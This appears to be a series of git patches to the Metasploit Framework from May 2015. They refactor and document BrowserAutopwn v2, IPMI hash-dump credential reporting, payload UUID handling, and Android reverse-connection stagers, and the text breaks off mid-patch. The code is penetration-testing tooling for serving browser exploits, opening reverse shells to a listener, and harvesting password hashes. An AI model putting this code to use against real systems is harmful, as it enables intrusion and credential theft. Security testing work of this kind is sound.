"Payload LPORT for #{platform} browser exploits", payload_info['lport']]) end + opts << OptBool.new("RealList", [true, "Show which exploits will actually be served to each client", false]) + opts end From fbbd25f4bc0558916904044308d5949bb190dd8a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 18 May 2015 17:56:17 -0500 Subject: [PATCH 0122/1013] I never use this thing --- lib/msf/core/exploit/browserautopwnv2.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 1fa10b5ea8..c8aa26e917 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -1,6 +1,8 @@ ### # -# The Msf::Exploit::Remote::BrowserAutopwnv2 mixin is a replacement for the current BrowserAutoPwn +# The Msf::Exploit::Remote::BrowserAutopwnv2 mixin is a replacement for the current BrowserAutoPwn. +# It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based +# exploits to perform a faster and smarter automated client-side attack. # ### @@ -9,9 +11,6 @@ require 'Date' module Msf module Exploit::Remote::BrowserAutopwnv2 - # Exception specific for Msf::Exploit::Remote::BrowserAutopwnv2 - class BAPv2Exception < RuntimeError; end - include Msf::Exploit::Remote::BrowserExploitServer # @return [Array] A list of initialized BAP exploits From 46f389fecde0eb8546ec39e667f89babef12f2d0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 18 May 2015 18:41:37 -0500 Subject: [PATCH 0123/1013] Documentation --- lib/msf/core/exploit/browserautopwnv2.rb | 87 +++++++++++++++++------- 1 file changed, 61 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index c8aa26e917..cb9037274e 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -22,7 +22,7 @@ module Msf # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. - # The loader order is specific. + # The loader order is specific while starting them up. DEFAULT_PAYLOADS = { 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, @@ -35,7 +35,7 @@ module Msf # Returns all the found exploit modules that support BrowserExploitServer by going through all - # the exploits from the framework object. + # the exploits from the framework object. All the usable exploits will be stored in #bap_exploits. # # @return [void] def init_exploits @@ -60,9 +60,12 @@ module Msf end - # Returns a note type that's unique to this BAP. + # Returns a note type that's unique to this BAP (based on a timestamp). # This overrides Msf::Exploit::Remote::BrowserProfileManager#note_type_prefix so that BAP - # and all of its child exploits can share target information with each other. + # and all of its child exploits can share target information with each other. If BAP is active + # but there are other standalone BES exploits running, this allows them not to use (or cleanup) + # each other's data. Also, once requested, the method will not generate another note type prefix + # again, it will just return whatever's been stored in the @note_type_prefix instance variable. # # @return [String] def note_type_prefix @@ -70,7 +73,8 @@ module Msf end - # Removes target information owned by this BAP. + # Removes target information from the framework database owned by this BAP. + # If the user is not connected to the database, then no cleanup action. # # @return [void] def rm_target_info_notes @@ -83,18 +87,20 @@ module Msf end - # Removes jobs (exploits and payload handlers) that belong to BAP. + # Removes background jobs (exploits and payload handlers) that belong to BAP. # # @return [void] def rm_jobs module_job_ids.each do |id| - framework.jobs.stop_job(id) if framework.jobs[id.to_s] + framework.jobs.stop_job(id) if framework.jobs[id.to_s] end end - # Cleans up everything. + # Cleans up everything such as notes and jobs. # + # @see #rm_jobs The method for cleaning up jobs. + # @see #rm_target_info_notes The method for removing target information (found in db notes). # @return [void] def cleanup rm_target_info_notes @@ -102,7 +108,8 @@ module Msf end - # Modifies an exploit's default datastore options. + # Modifies an exploit's default datastore options. Some of them are user-configurable, + # some must be defined by BAP. # # @return [void] def set_exploit_options(xploit) @@ -160,12 +167,18 @@ module Msf # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. + # This method is part of what makes BAP smarter. However, the list rearranged by this exploit + # will not actually be the same exploit list served to every client. When a client a request, + # #get_suitable_exploits will generate another list that will actually be used by the client + # by going through what we have here, and filter out all the exploit modules that don't match + # the target's requirements. # # @see #bap_exploits The read-only attribute. # @see #sort_date_in_group The method for sorting by disclosure date # @see #sort_group_by_rank The method for sorting by rank # @see #sort_bap_modules The method for breaking the module list into groups # @see #finalize_sorted_modules The method for finalizing bap_exploits + # @see #get_suitable_exploits # @return [void] def sort_bap_exploits bap_groups = group_bap_modules @@ -177,7 +190,7 @@ module Msf # Sorts a grouped module list by disclosure date. # - # @param [Hash] A grouped module list. + # @param [Hash] bap_groups A grouped module list. # @return [Hash] A hash with each module list sorted by disclosure date. def sort_date_in_group(bap_groups) bap_groups.each_pair do |ranking, module_list| @@ -188,7 +201,7 @@ module Msf # Sorts a module list by ranking. # - # @param [Hash] A grouped module list. + # @param [Hash] bap_groups A grouped module list. # @return [Hash] A hash grouped by ranking. def sort_group_by_rank(bap_groups) Hash[bap_groups.sort_by {|k,v| k}.reverse] @@ -197,6 +210,7 @@ module Msf # Breaks @bap_exploits into groups for sorting purposes. # + # @see #bap_exploits # @return [Hash] A module list grouped by rank. def group_bap_modules bap_groups = {} @@ -214,7 +228,7 @@ module Msf # Modifies @bap_exploit by replacing it with the rearranged module list. # # @see #bap_exploits The read-only attribute. - # @param [Hash] A grouped module list. + # @param [Hash] bap_groups A grouped module list. # @return [void] def finalize_sorted_modules(bap_groups) @bap_exploits = [] @@ -227,11 +241,13 @@ module Msf end - # Verifies with current active modules and see if the payload is wanted. + # Verifies with current active modules and see if the payload is wanted. For example: if only + # Windows exploits are being loaded, then there's no point to load payload handlers for Java, + # Linux and other ones. # # @param [String] payload_name The payload module path (name). - # @return [TrueClass] - # @return [FalseClass] + # @return [TrueClass] Payload is wanted. + # @return [FalseClass] Payload is not wanted. def is_payload_handler_wanted?(payload_name) bap_exploits.each do |m| return true if m.datastore['PAYLOAD'] == payload_name @@ -243,8 +259,9 @@ module Msf # Returns a payload name. Either this will be the user's choice, or falls back to a default one. # - # @param [String] platform - # @return [String] + # @see DEFAULT_PAYLOADS The default settings. + # @param [String] platform Platform name. + # @return [String] Payload name. def get_selected_payload_name(platform) payload_name = datastore["PAYLOAD_#{platform.upcase}"] @@ -270,7 +287,8 @@ module Msf end - # Returns the selected payload's LHOST. + # Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option), + # then the method automatically generates one by Rex. # # @return [String] def get_payload_lhost @@ -278,8 +296,11 @@ module Msf end - # Creates payload listeners. + # Creates payload listeners. The active job IDs will be tracked in #module_job_ids so that + # we know how to find them and then clean them up. # + # @note FireFox payload is skipped because there's no handler for it. + # @see #module_job_ids # @return [void] def start_payload_listeners DEFAULT_PAYLOADS.each_pair do |platform, listener_info| @@ -331,7 +352,7 @@ module Msf # Returns the selected payload. # - # @param [Object] A module that's been initialized. + # @param [Object] m A module that's been initialized. # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) selected_payload = DEFAULT_PAYLOADS['generic'] @@ -390,7 +411,8 @@ module Msf end - # Prints all the exploits that BAP will consider using. + # Prints all the exploits that BAP will consider using. But this isn't the actual list of + # exploits that BAP will use for each target. # # @return [void] def show_ready_exploits @@ -480,8 +502,14 @@ module Msf end - # Returns a list of suitable exploits for the current client. It will do a global exploitable - # requirement check. + # Returns a list of suitable exploits for the current client based on what #sort_bap_exploits + # gives us. It will do a global exploitable requirement check (the best it can do). There's + # actually a target-specific exploitable requirement check too, but that is performed in + # BrowserExploitServer while the exploit is being served. In other words, it is possible + # #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the + # exploit dev accurately defines his/her global requirements), but the exploit always has a + # choice to bail at the last second if it decides it is actually not suitable for the client. + # That way we don't risk being too wreckless with our attack. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser @@ -504,6 +532,11 @@ module Msf end + # Prints a list of suitable exploits for the current list. + # + # @see #sort_bap_exploits Explains how the exploit list is generated at first. + # @see #get_suitable_exploits Explains how we serve exploits to each client. + # @return [void] def show_real_list(ip, tag, current_exploit_list) order = 1 table = Rex::Ui::Text::Table.new( @@ -519,8 +552,10 @@ module Msf end - # Returns a list of exploit URLs. + # Returns a list of exploit URLs. This is used by #build_html so the client can load our + # exploits one by one. # + # @see #build_html # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [Array] @@ -542,11 +577,11 @@ module Msf end - # Returns the HTML that the client will get. + # Returns the HTML that serves our exploits. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser - # @return [String] + # @return [String] HTML def build_html(cli, request) js = %Q| var currentIndex = 0; From c6fcb9c6c530b97ad6ca8ed2ac3416e6e3f8b24a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 May 2015 19:39:03 -0500 Subject: [PATCH 0124/1013] Report credentials with create_credential_login --- .../auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 73 ++++++++++++------- 1 file changed, 48 insertions(+), 25 deletions(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 2027a5547f..26f85371ce 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -71,7 +71,6 @@ class Metasploit3 < Msf::Auxiliary passwords << "" passwords = passwords.uniq - self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}}) add_socket(self.udp_sock) @@ -180,18 +179,8 @@ class Metasploit3 < Msf::Auxiliary write_output_files(rhost, username, sha1_salt, sha1_hash) # Write the rakp hash to the database - report_auth_info( - :host => rhost, - :port => rport, - :proto => 'udp', - :sname => 'ipmi', - :user => username, - :pass => "#{sha1_salt}:#{sha1_hash}", - :source_type => "captured", - :active => true, - :type => 'rakp_hmac_sha1_hash' - ) - + hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}" + report_hash(user, hash) # Write the vulnerability to the database unless reported_vuln report_vuln( @@ -216,17 +205,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{rhost}:#{rport} - IPMI - Hash for user '#{username}' matches password '#{pass}'") # Report the clear-text credential to the database - report_auth_info( - :host => rhost, - :port => rport, - :proto => 'udp', - :sname => 'ipmi', - :user => username, - :pass => pass, - :source_type => "cracked", - :active => true, - :type => 'password' - ) + report_cracked_cred(username, pass) break end end @@ -265,6 +244,51 @@ class Metasploit3 < Msf::Auxiliary end end + def service_data + { + address: rhost, + port: rport, + service_name: 'ipmi', + protocol: 'udp', + workspace_id: myworkspace_id + } + end + + def report_hash(user, hash) + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: 'rakp_hmac_sha1_hash', + username: user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + + def report_cracked_cred(user, password) + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: password, + private_type: :password, + username: user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + # # Helper methods (these didn't quite fit with existing mixins) # @@ -292,5 +316,4 @@ class Metasploit3 < Msf::Auxiliary def rport datastore['RPORT'] end - end From f49362492a5f92a2ee6cad5215c95888b271e2a0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 May 2015 19:46:17 -0500 Subject: [PATCH 0125/1013] Report hash's username correctly --- modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 26f85371ce..7c93ee8a81 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -180,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary # Write the rakp hash to the database hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}" - report_hash(user, hash) + report_hash(username, hash) # Write the vulnerability to the database unless reported_vuln report_vuln( From d564a85f6fec89a9cc85ce2771ae98be905be725 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 May 2015 19:55:48 -0500 Subject: [PATCH 0126/1013] Fix jtr_format --- modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 7c93ee8a81..5ec74e9c31 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -260,7 +260,7 @@ class Metasploit3 < Msf::Auxiliary origin_type: :service, private_data: hash, private_type: :nonreplayable_hash, - jtr_format: 'rakp_hmac_sha1_hash', + jtr_format: 'rakp', username: user, }.merge(service_data) From c7932855f2c4ef163ece19a0b05bb8fa7fe47484 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 18 May 2015 23:35:18 -0500 Subject: [PATCH 0127/1013] Move UUIDOptions to UUID::Options --- lib/msf/core/payload/transport_config.rb | 4 +- lib/msf/core/payload/uuid_options.rb | 73 ------------------- lib/msf/core/payload/windows/reverse_http.rb | 4 +- .../payloads/stagers/java/reverse_https.rb | 4 +- .../payloads/stagers/python/reverse_https.rb | 4 +- .../windows/reverse_http_proxy_pstore.rb | 4 +- 6 files changed, 10 insertions(+), 83 deletions(-) delete mode 100644 lib/msf/core/payload/uuid_options.rb diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 177684ed47..f75c5c3db2 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' ## # This module contains helper functions for creating the transport @@ -8,7 +8,7 @@ require 'msf/core/payload/uuid_options' ## module Msf::Payload::TransportConfig - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options def transport_config_reverse_tcp(opts={}) config = transport_config_bind_tcp(opts) diff --git a/lib/msf/core/payload/uuid_options.rb b/lib/msf/core/payload/uuid_options.rb deleted file mode 100644 index 3ced04c4a7..0000000000 --- a/lib/msf/core/payload/uuid_options.rb +++ /dev/null @@ -1,73 +0,0 @@ -# -*- coding => binary -*- - -require 'msf/core' -require 'msf/core/payload/uuid' -require 'rex/payloads/meterpreter/uri_checksum' - -# -# This module provides datastore option definitions and helper methods for payload modules that support UUIDs -# -module Msf::Payload::UUIDOptions - - include Rex::Payloads::Meterpreter::UriChecksum - - def initialize(info = {}) - super - register_advanced_options( - [ - Msf::OptString.new('PayloadUUIDSeed', [ false, 'A string to use when generating the payload UUID (deterministic)']), - Msf::OptString.new('PayloadUUIDRaw', [ false, 'A hex string representing the raw 8-byte PUID value for the UUID']), - ], self.class) - end - - # - # Generates a URI with a given checksum and optionally with an embedded UUID if - # the desired length can accommodate it. - # - # @param mode [Symbol] The type of checksum to generate (:connect, :init_native, :init_python, :init_java) - # @param len [Fixnum] The length of the URI not including the leading slash, optionally nil for random - # @return [String] A URI with a leading slash that hashes to the checksum, with an optional UUID - # - def generate_uri_uuid_mode(mode,len=nil) - sum = uri_checksum_lookup(mode) - - # The URI length may not have room for an embedded checksum - if len && len < URI_CHECKSUM_UUID_MIN_LEN - # Throw an error if the user set a seed, but there is no room for it - if datastore['PayloadUUIDSeed'].to_s.length > 0 ||datastore['PayloadUUIDRaw'].to_s.length > 0 - raise ArgumentError, "A PayloadUUIDSeed or PayloadUUIDRaw value was specified, but this payload doesn't have enough room for a UUID" - end - return "/" + generate_uri_checksum(sum, len, prefix="") - end - - generate_uri_uuid(sum, generate_payload_uuid, len) - end - - # Generate a Payload UUID - def generate_payload_uuid - - conf = { - arch: self.arch, - platform: self.platform - } - - # Handle user-specified seed values - if datastore['PayloadUUIDSeed'].to_s.length > 0 - conf[:seed] = datastore['PayloadUUIDSeed'].to_s - end - - # Handle user-specified raw payload UID values - if datastore['PayloadUUIDRaw'].to_s.length > 0 - puid_raw = [datastore['PayloadUUIDRaw'].to_s].pack("H*") - if puid_raw.length != 8 - raise ArgumentError, "The PayloadUUIDRaw value must be exactly 16 bytes of hex" - end - conf.delete(:seed) - conf[:puid] = puid_raw - end - - Msf::Payload::UUID.new(conf) - end - -end - diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 71b3df71e2..b352f921a1 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -4,7 +4,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Msf @@ -22,7 +22,7 @@ module Payload::Windows::ReverseHttp include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options # # Register reverse_http specific options diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index 1c00b95b6a..4318ad3f42 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Metasploit3 @@ -13,7 +13,7 @@ module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Java - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index 6437db03f6..cc8d012738 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -5,14 +5,14 @@ require 'msf/core' require 'msf/core/handler/reverse_https' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Metasploit3 CachedSize = 742 include Msf::Payload::Stager - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb index fcb1f49ca1..3ba25412bf 100644 --- a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb +++ b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Metasploit3 @@ -13,7 +13,7 @@ module Metasploit3 include Msf::Payload::Stager include Msf::Payload::Windows - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options def self.handler_type_alias "reverse_http_proxy_pstore" From 9d7e54f360c2ec7adb373b86ee26141a47acc1e2 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 18 May 2015 23:41:22 -0500 Subject: [PATCH 0128/1013] Add the UUID subdirectory, including initial DB class --- lib/msf/core/payload/uuid/db.rb | 115 +++++++++++++++++++++++++++ lib/msf/core/payload/uuid/options.rb | 73 +++++++++++++++++ 2 files changed, 188 insertions(+) create mode 100644 lib/msf/core/payload/uuid/db.rb create mode 100644 lib/msf/core/payload/uuid/options.rb diff --git a/lib/msf/core/payload/uuid/db.rb b/lib/msf/core/payload/uuid/db.rb new file mode 100644 index 0000000000..fe3f210952 --- /dev/null +++ b/lib/msf/core/payload/uuid/db.rb @@ -0,0 +1,115 @@ +# -*- coding => binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' +require 'json' + +# +# This module provides a flat file database interface for managing UUIDs +# +class Msf::Payload::UUID::DB + + attr_accessor :info, :path + + def initialize(path) + self.info = {} + self.path = path + @lock = Mutex.new + @last = 0 + reload + end + + # Save the file, but prevent thread & process contention + def save(action={}) + @lock.synchronize do + ::File.open(path, ::File::RDWR|::File::CREAT) do |fd| + fd.flock(::File::LOCK_EX) + + # Reload and merge if the file has changed recently + if fd.stat.mtime.to_f > @last + self.info = parse_data(fd.read).merge(self.info) + end + + if action[:register_uuid] + params = (action[:params] || {}).merge({ type: 'uuid' }) + self.info[ action[:register_uuid] ] = params + end + + if action[:register_url] + params = (action[:params] || {}).merge({ type: 'url' }) + self.info[ action[:register_uurl] ] = params + end + + if action[:remove_uuid] + self.info.delete(action[:delete_uuid]) + end + + fd.rewind + fd.write(JSON.pretty_generate(self.info)) + fd.sync + fd.truncate(fd.pos) + + @last = Time.now.to_f + end + end + end + + # Load the file from disk + def load + @lock.synchronize do + ::File.open(path, ::File::RDWR|::File::CREAT) do |fd| + fd.flock(::File::LOCK_EX) + @last = fd.stat.mtime.to_f + self.info = parse_data(fd.read(fd.stat.size)) + end + end + end + + # Reload if the file has changed + def reload + return unless ::File.exists?(path) + return unless ::File.stat(path).mtime.to_f > @last + load + end + + def register_uuid(uuid, params) + save(register_uuid: uuid, params: params) + end + + def remove_uuid(uuid) + save(remove_uuid: uuid) + end + + def find_uuid(uuid) + reload + self.info[uuid] + end + + def register_url(url, params) + save(register_url: url, params: params) + end + + def remove_url(url) + save(remove_url: url) + end + + def find_url(url) + reload + self.info[url] + end + +private + + def parse_data(data) + return {} if data.to_s.strip.length == 0 + begin + JSON.parse(data) + rescue JSON::ParserError => e + # TODO: Figure out the appropriate error handling path + raise e + end + end + +end + + diff --git a/lib/msf/core/payload/uuid/options.rb b/lib/msf/core/payload/uuid/options.rb new file mode 100644 index 0000000000..083a3a655b --- /dev/null +++ b/lib/msf/core/payload/uuid/options.rb @@ -0,0 +1,73 @@ +# -*- coding => binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' +require 'rex/payloads/meterpreter/uri_checksum' + +# +# This module provides datastore option definitions and helper methods for payload modules that support UUIDs +# +module Msf::Payload::UUID::Options + + include Rex::Payloads::Meterpreter::UriChecksum + + def initialize(info = {}) + super + register_advanced_options( + [ + Msf::OptString.new('PayloadUUIDSeed', [ false, 'A string to use when generating the payload UUID (deterministic)']), + Msf::OptString.new('PayloadUUIDRaw', [ false, 'A hex string representing the raw 8-byte PUID value for the UUID']), + ], self.class) + end + + # + # Generates a URI with a given checksum and optionally with an embedded UUID if + # the desired length can accommodate it. + # + # @param mode [Symbol] The type of checksum to generate (:connect, :init_native, :init_python, :init_java) + # @param len [Fixnum] The length of the URI not including the leading slash, optionally nil for random + # @return [String] A URI with a leading slash that hashes to the checksum, with an optional UUID + # + def generate_uri_uuid_mode(mode,len=nil) + sum = uri_checksum_lookup(mode) + + # The URI length may not have room for an embedded checksum + if len && len < URI_CHECKSUM_UUID_MIN_LEN + # Throw an error if the user set a seed, but there is no room for it + if datastore['PayloadUUIDSeed'].to_s.length > 0 ||datastore['PayloadUUIDRaw'].to_s.length > 0 + raise ArgumentError, "A PayloadUUIDSeed or PayloadUUIDRaw value was specified, but this payload doesn't have enough room for a UUID" + end + return "/" + generate_uri_checksum(sum, len, prefix="") + end + + generate_uri_uuid(sum, generate_payload_uuid, len) + end + + # Generate a Payload UUID + def generate_payload_uuid + + conf = { + arch: self.arch, + platform: self.platform + } + + # Handle user-specified seed values + if datastore['PayloadUUIDSeed'].to_s.length > 0 + conf[:seed] = datastore['PayloadUUIDSeed'].to_s + end + + # Handle user-specified raw payload UID values + if datastore['PayloadUUIDRaw'].to_s.length > 0 + puid_raw = [datastore['PayloadUUIDRaw'].to_s].pack("H*") + if puid_raw.length != 8 + raise ArgumentError, "The PayloadUUIDRaw value must be exactly 16 bytes of hex" + end + conf.delete(:seed) + conf[:puid] = puid_raw + end + + Msf::Payload::UUID.new(conf) + end + +end + From e7c8a3b56c4efe14e5dd34dfb6cdb46f4016f04a Mon Sep 17 00:00:00 2001 From: Tim Date: Sun, 17 May 2015 18:53:11 +0100 Subject: [PATCH 0129/1013] add support for SessionRetryTotal and SessionRetryWait on Android --- lib/msf/core/payload/dalvik.rb | 5 +++++ modules/payloads/stagers/android/reverse_http.rb | 8 ++------ modules/payloads/stagers/android/reverse_https.rb | 8 ++------ modules/payloads/stagers/android/reverse_tcp.rb | 8 ++------ 4 files changed, 11 insertions(+), 18 deletions(-) diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index 43ecd9cc61..d469af1ccd 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -31,6 +31,11 @@ module Msf::Payload::Dalvik [str.length].pack("N") + str end + def apply_options(classes) + string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s) + string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s) + end + def string_sub(data, placeholder="", input="") data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) end diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index cfb39c9d37..6c8274a8b9 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -24,11 +24,6 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseHttp, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) - ], self.class) end def generate_jar(opts={}) @@ -40,7 +35,8 @@ module Metasploit3 classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port) - string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + apply_options(classes) + jar.add_file("classes.dex", fix_dex_header(classes)) files = [ diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index 3ab3f31752..7b353a693d 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -24,11 +24,6 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseHttps, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) - ], self.class) end def generate_jar(opts={}) @@ -40,7 +35,8 @@ module Metasploit3 classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port) - string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + apply_options(classes) + jar.add_file("classes.dex", fix_dex_header(classes)) files = [ diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 74978ad295..3985848e58 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -26,11 +26,6 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} )) - - register_options( - [ - OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) - ], self.class) end def generate_jar(opts={}) @@ -40,7 +35,8 @@ module Metasploit3 string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST'] string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT'] - string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + apply_options(classes) + jar.add_file("classes.dex", fix_dex_header(classes)) files = [ From ebd20fbedd074e4e81e6ec2e4677cf670619c3f4 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 19 May 2015 16:25:46 +0100 Subject: [PATCH 0130/1013] fix http --- .../payloads/stagers/android/reverse_http.rb | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index 6c8274a8b9..1830d5ae62 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -27,23 +27,28 @@ module Metasploit3 end def generate_jar(opts={}) - host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new - port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s - raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + # Default URL length is 30-256 bytes + uri_req_len = 30 + rand(256-30) + # Generate the short default URL if we don't know available space + if self.available_space.nil? + uri_req_len = 5 + end - jar = Rex::Zip::Jar.new + lurl = "ZZZZhttp://#{datastore["LHOST"]}" + lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] + lurl << "/" + lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len) classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - string_sub(classes, 